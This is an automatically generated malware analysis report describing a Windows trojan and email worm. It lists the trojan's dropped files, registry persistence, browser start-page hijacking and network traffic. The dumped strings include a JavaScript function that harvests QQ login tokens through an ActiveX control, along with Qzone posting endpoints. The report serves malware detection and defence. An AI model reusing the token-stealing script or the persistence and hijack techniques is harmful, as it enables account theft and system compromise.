Gen.Variant.Strictor.1217_cfc7af3058

by malwarelabrobot on April 26th, 2016 in Malware Descriptions.

Gen:Variant.Strictor.1217 (B) (Emsisoft), Gen:Variant.Strictor.1217 (AdAware), Trojan.Win32.FlyStudio.FD, Trojan.Win32.Swrort.3.FD, GenericEmailWorm.YR, GenericPhysicalDrive0.YR, TrojanFlyStudio.YR (Lavasoft MAS)
Behaviour: Trojan, Worm, EmailWorm


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: cfc7af30589801fb5b6100fbd33eee92
SHA1: 63097aa9845d684bc29dfea49ba82390d0ca07c0
SHA256: 39a27af5f3d54fdbdb79b940580810bf94a9e1aea94bc055ca4c1c94d613c3f8
SSDeep: 24576:j5n2o6DeKMwUoxl8OoISadjm3HQXIqJrEUMOmjPUjRbM:jgMwmOo9kSKRJrEUnmjP0
Size: 1380352 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC50, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, Armadillov171, UPolyXv05_v6
Company: no certificate found
Created at: 2015-06-30 03:41:35
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

Behaviour Description
EmailWorm Worm can send e-mails.


Process activity

The Trojan creates the following process(es):

¾Á°®¸¨Öú.exe:944

The Trojan injects its code into the following process(es):

%original file name%.exe:584

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutex
ZonesCounterMutex
ZonesCacheCounterMutex
WininetProxyRegistryMutex
WininetConnectionMutex
WininetStartupMutex
c:!documents and settings!adm!local settings!history!history.ie5!
c:!documents and settings!adm!cookies!
c:!documents and settings!adm!local settings!temporary internet files!content.ie5!
_!MSFTHISTORY!_
RasPbFile
ShimCacheMutex

File activity

The process %original file name%.exe:584 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KHYZ412V\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\K5MFCXY3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\9ifz\¾Á°®¸¨Öú.exe (1632 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\N4QZRPF3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\9ifz\dlcore.dll (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\I41HJ4J3\desktop.ini (67 bytes)

The process ¾Á°®¸¨Öú.exe:944 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Desktop\Internet Explorer.lnk (809 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\S-1-5-21-1844237615-1960408961-1801674531-1003\c5b88721db08c824db69d0bbc702beb8_75ed9567-aa58-4c8e-a8ea-3cad7c47ab03 (44 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Internet Explorer.lnk (815 bytes)

Registry activity

The process %original file name%.exe:584 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8C 7E 1E 6B 11 20 46 0A 2B 81 4D 5D 57 D9 20 50"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1276x846x32(BGR 0)" = "31,31,31,31"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process ¾Á°®¸¨Öú.exe:944 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.2345.com/?k59918823"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Bar" = "http://www.2345.com/?k59918823"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.2345.com/?k59918823"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Local Page" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Search Bar" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?k59918823"
"Default_Page_URL" = "http://www.2345.com/?k59918823"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F F3 78 B7 89 35 F1 2C BB CC 4B EC 42 2D AA 29"

[HKCU\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage]
"Command" = "%Program Files%\Internet Explorer\iexplore.exe http://www.2345.com/?k59918823"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Policies\Microsoft\Internet Explorer\Main]
"Search Page" = "http://www.2345.com/?k59918823"
"Default_Page_URL" = "http://www.2345.com/?k59918823"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Use_Async_DNS" = "http://www.2345.com/?k59918823"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"½ûÖ¹ºó¿ÉÄÜ»áÑÏÖØÓ°ÏìϵͳµÄÎȶ¨ÐÔ£¬½¨Òé²»Òª½ûÖ¹£¡" = "%Documents and Settings%\%current user%\Application Data\9ifz\¾Á°®¸¨Öú.exe"

Dropped PE files

MD5 File path
66504b12f4f8f5b70a8574e0370937a4 c:\Documents and Settings\"%CurrentUserName%"\Application Data\9ifz\dlcore.dll
4e636c45b40b2ff461e786206e74ce55 c:\Documents and Settings\"%CurrentUserName%"\Application Data\9ifz\¾Á°®¸¨Öú.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 606710 610304 4.5393 a5447e93e825d09573b62f74f55725fe
.rdata 614400 654016 655360 4.5704 3691855c2e0dced4d96cc1fef92a8f52
.data 1269760 187208 73728 3.51461 51f92e5c7c9b6e604fd6e1384f0bba44
.rsrc 1458176 33536 36864 3.24504 ff3013ea99dc8aca07048f5c9fe5c3d6

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://captcha.qq.com/getimage?aid=1007901&r=0.8991660715926585 112.90.83.73


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake Windows NT Version 5.0

Traffic

GET /getimage?aid=1007901&r=0.8991660715926585 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: */*
Host: captcha.qq.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: tencent http server
Accept-Ranges: bytes
Pragma: No-cache
P3P: CP=CAO PSA OUR
Content-Length: 1662
Set-Cookie: verifysession=h01b15ac50ade777dac301024403ae7083c0eb98bcac15a7b5305e83b2819fbfc807475158e07e26a5f; PATH=/; DOMAIN=qq.com;
Connection: close
Content-Type: image/jpeg
......JFIF............."f4a1b3c....F.......F....w.A........C..........
......(.....1#%.(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc...C.....
../../cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc......5...
."............................................................}.......
.!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdef
ghijstuvwxyz..........................................................
....................................................................w.
......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVW
XYZcdefghijstuvwxyz...................................................
.................................?..|..|...wc..Tnw.........q..9....Z.i
%E....8...q.H.m....g..>..)!kR..G...`r.p>..n...A.#...TL.q>..K{
.  gk..........Y...,...#.....RX\Ird.......O....5-...U.....X..6...O8=..
n.q#.....,.........j...5..P9.,.J:...#..~4..$E.t..{*......g...-.9.S<
..O..F/...&...e.......6..,Z...e.dB.......T.GLc/.e ..6...0.......up..((
(...(......ko1.^&...J.]Z0F H...*R......8.w....t~....4...#.......1..e#.
c....E...J....*.....j....b...c....LB.JX`./...A)l..V.{l>.,.{.....~..
.r.6...w...........W..f.M..9B....G...t[..2I ..I.7......?.@.^.R.......w
.....i..Z...."....@...........:". ~jMAsn..k<..!;[email protected]..
D.......,..yA...s...um..C.........I}v.V.h....-.....$mJ...r.[n.I......e
/<o.x... .?...~..^K..2L...qT..F.......l....x.2ra..@.=.3s.....\.G2..
..MY.f.Kh...l.x. .9#...A.].aE.PPQE..UK....i....:.......m.._...T..8rf..
L...Y.U.~F.$...Rbm.....-s...d..P...!F9.....}.u*FV$#.W..S..~5r..]..
<<< skipped >>>

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_584:

.text
`.rdata
@.data
.rsrc
t$(SSh
~%UVW
u$SShe
atl.dll
wininet.dll
user32.dll
kernel32.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
MsgWaitForMultipleObjects
GetWindowsDirectoryA
hXXp://captcha.qq.com/getimage?aid=1007901&r=0.8991660715926585
[email protected]
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
skey
#home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm
qzreferrer=http://user.qzone.qq.com/
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=base&nickname=
hXXp://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
qzreferrer=http://cnc.qzs.qq.com/qzone/v6/setting/profile/profile.html?tab=space&spacename=
hXXp://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=
&secverifykey=28Q12062209183668_2209183668
&source=1&blogType=0&lp_type=0&lp_flag=0&lp_id=79208&lp_style=16843520&autograph=1&topFlag=0&feeds=1&tweetFlag=0&rightType=1&uin=
&html=
qzreferrer=http://cnc.qzs.qq.com/qzone/newblog/v5/editor.html#opener=refererurl&source=1&refererurl=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fapp%2Fblog%2Fv6%2Fbloglist.html%23nojump%3D1%26page%3D1%26catalog%3Dlist&cate=
hXXp://b11.cnc.qzone.qq.com/cgi-bin/blognew/add_blog?g_tk=
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g  ){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y  ){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0" B};N =B};text =P '|' U '|' N ';'}}catch(b){}};return text};
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
https
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
hXXps://
hXXp://
len = str.length; i < len;   i) hash  = (hash << 5)   str.charCodeAt(i);
var t = QZONE.FormSender;
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
var a = QZFL.string.trim(fm.action);
a  = (a.indexOf("?") > -1 ? "&": "?")   "g_tk="   QZFL.pluginsDefine.getACSRFToken();
fm.action = a
\dlcore.dll
.reloc
GetProcessHeap
KERNEL32.dll
CryptDeriveKey
CryptDestroyKey
RegCloseKey
RegCreateKeyExA
RegOpenKeyA
ADVAPI32.dll
SHELL32.dll
USER32.dll
SHLWAPI.dll
ole32.dll
MSVCRT.dll
dlcore.dll
hXXp://VVV.2345.com/?k59918823
VVV.9ifz.org
3|CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command|"%Program Files%\Internet Explorer\iexplore.exe" hXXp://VVV.2345.com/?k59918823
3|Software\Microsoft\Internet Explorer\Main\Start Page|hXXp://VVV.2345.com/?k59918823
3|Software\Microsoft\Internet Explorer\Main\Default_Page_URL|hXXp://VVV.2345.com/?k59918823
3|Software\Policies\Microsoft\Internet Explorer\Main\Default_Page_URL|hXXp://VVV.2345.com/?k59918823
3|Software\Policies\Microsoft\Internet Explorer\Main\Search Bar|hXXp://VVV.2345.com/?k59918823
3|Software\Policies\Microsoft\Internet Explorer\Main\Search Page|hXXp://VVV.2345.com/?k59918823
3|Software\Policies\Microsoft\Internet Explorer\Main\Start Page|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Default_Page_URL|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Default_Search_URL|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Use_Async_DNS|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Search Bar|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Search Page|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Local Page|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\Start Page|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\Start Page|hXXp://VVV.2345.com/?k59918823
4|SOFTWARE\Microsoft\Internet Explorer\MAIN\Start Page|hXXp://VVV.2345.com/?k59918823
5|S-1-5-21-3053028586-37942918-3155121407-500\Software\Microsoft\Internet Explorer\Main\Start Page|hXXp://VVV.2345.com/?k59918823*.lnk
1027663760
iexplore.exe,Internet Explorer
sogouexplorer.exe,
Firefox.exe,
opera.exe,opera
360se.exe,360
chrome.exe,google
360chrome.exe,360
baidubrowser.exe,
QQbrowser.exe,QQ
leibao.exe,
2345Explorer.exe,2345
2345Chrome.exe,2345
firefox.exe,
maxthon.exe,
Juzi.exe,
taobrowser.exe,
yybrowser.exe,YY
yyexplorer.exe,YY
http\shell\open\command\
advapi32.dll
shlwapi.dll
program internal error number is %d.
:"%s"
:"%s".
.ndata
@.reloc
;~TtCP
FtPj
RegDeleteKeyExW
Kernel32.DLL
PSAPI.DLL
operator
GetProcessWindowStation
127.0.0.1
0.0.0.0
,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u,%u
upload_data.qq.com
121.14.102.16
COMM:%u,%u,%u,%I64u,%I64u,%d,%d,%d,%d,%d,%d,%d,%d,%d
,0,0,0,0,0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows Xp)
Host: %s:%d
(%d) d:d:d.d000 %s: %s
pdlxf.qq.com
fs-tcp-conn.qq.com
stun.qq.com
xuanfengnet.qq.com
fs-hello.qq.com
fs-conn.qq.com
fs-h2u.qq.com
fs-report.qq.com
R:\TempView\Misc\Setup3\build\Release\QQSetupEx.pdb
WS2_32.dll
NETAPI32.dll
VERSION.dll
CreatePipe
GetWindowsDirectoryW
GDI32.dll
RegOpenKeyExW
RegCreateKeyW
RegDeleteKeyW
RegEnumKeyW
RegCreateKeyExW
SHFileOperationW
ShellExecuteExW
ShellExecuteW
CryptCATCatalogInfoFromContext
WTHelperGetProvCertFromChain
WINTRUST.dll
CertGetNameStringW
CRYPT32.dll
GetCPInfo
.?AVCVideoMsg@@
zcÁ
^SQLS^
'%cMMV#)
Hummer Backup Setup EXE
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
<!-- Windows 8.1 -->
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<!-- Windows Vista -->
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
<!-- Windows 7 -->
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
<!-- Windows 8 -->
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
5;7,8084888<8@8
>#> ><>[>
?#?-?2?7?
5_5X5o5
7&8 80888
>#>(>->7>
?)?.?3?=?
0'1?1.6:6
4!4%4)4-4
7|7g7
? ?$?(?,?0?
6 6$6(6,60646
Thawte Certification1
hXXp://ocsp.thawte.com0
.hXXp://crl.thawte.com/ThawteTimestampingCA.crl0
hXXp://ts-ocsp.ws.symantec.com07
 hXXp://ts-aia.ws.symantec.com/tss-ca-g2.cer0<
 hXXp://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
.Class 3 Public Primary Certification Authority0
<VeriSign Class 3 Public Primary Certification Authority - G50
hXXp://crl.verisign.com/pca3.crl0
hXXps://VVV.verisign.com/cps0
#hXXp://logo.verisign.com/vslogo.gif04
hXXp://ocsp.verisign.com0>
2Terms of use at hXXps://VVV.verisign.com/rpa (c)101.0,
/hXXp://csc3-2010-crl.verisign.com/CSC3-2010.crl0D
hXXps://VVV.verisign.com/rpa0
hXXp://ocsp.verisign.com0;
/hXXp://csc3-2010-aia.verisign.com/CSC3-2010.cer0
hXXps://VVV.verisign.com/cps0*
#hXXp://crl.verisign.com/pca3-g5.crl04
hXXp://ocsp.verisign.com0
[email protected]
_r=请输入邮箱地址，如[email protected]_s=
_t=
&type=anonymous&arg=f=
hXXp://tool.chacuo.net/mailanonymous/
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 2Pac; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
%S4WD
hg%fpM
S.Ac9SR
0.I%3s
,wAe.kI
aiUy'4xu
%c*@j
.eH'y
{&%U)
lj%4U
xe%CNs
9F.cLe
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
MSIMG32.dll
MSVFW32.dll
SkinH_EL.dll
@atl.dll
g<n.Vi
l#7l%x
(.eYQ%l
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
RASAPI32.dll
WinExec
GetKeyState
GetViewportOrgEx
WINMM.dll
WINSPOOL.DRV
RegOpenKeyExA
ShellExecuteA
OLEAUT32.dll
InternetCrackUrlA
InternetCanonicalizeUrlA
WININET.dll
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
comdlg32.dll
.PAVCException@@
.PAVCNotSupportedException@@
.PAVCFileException@@
(*.prn)|*.prn|
(*.*)|*.*||
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
(&07-034/)7 '
?? / %d]
%d / %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
out.prn
%d.%d
%d / %d
%d/%d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
HTTP/1.0
%s <%s>
Reply-To: %s
From: %s
To: %s
Subject: %s
Date: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
SMTP
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity name="E.App" processorArchitecture="x86" version="5.2.0.0" type="win32"/><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator" uiAccess="false"/> </requestedPrivileges> </security></trustInfo></assembly>
Software\Microsoft\Windows\CurrentVersion
*?|<>/":
invalid registry key
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
HKEY_PERFORMANCE_DATA
HKEY_USERS
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
RMDir: RemoveDirectory failed("%s")
RMDir: RemoveDirectory("%s")
RMDir: RemoveDirectory invalid input("%s")
Delete: DeleteFile failed("%s")
Delete: DeleteFile("%s")
install.log
Section: "%s"
.DEFAULT\Control Panel\International
logging set to %d
settings logging to %d
WriteReg: error creating key "%s\%s"
WriteReg: error writing into "%s\%s" "%s"
WriteRegDWORD: "%s\%s" "%s"="0xx"
WriteRegExpandStr: "%s\%s" "%s"="%s"
WriteRegStr: "%s\%s" "%s"="%s"
DeleteRegKey: "%s\%s"
DeleteRegValue: "%s\%s" "%s"
WriteINIStr: wrote [%s] %s=%s in %s
CopyFiles "%s"->"%s"
Exec: failed createprocess ("%s")
Exec: success ("%s")
Exec: command="%s"
ExecShell: success ("%s": file:"%s" params:"%s")
ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
Exch: stack < %d elements
RMDir: "%s"
MessageBox: %d,"%s"
Delete: "%s"
Rename failed: %s
Rename: %s
IfFileExists: file "%s" does not exist, jumping %d
IfFileExists: file "%s" exists, jumping %d
CreateDirectory: "%s" created
CreateDirectory: can't create "%s" - a file already exists
CreateDirectory: can't create "%s" (err=%d)
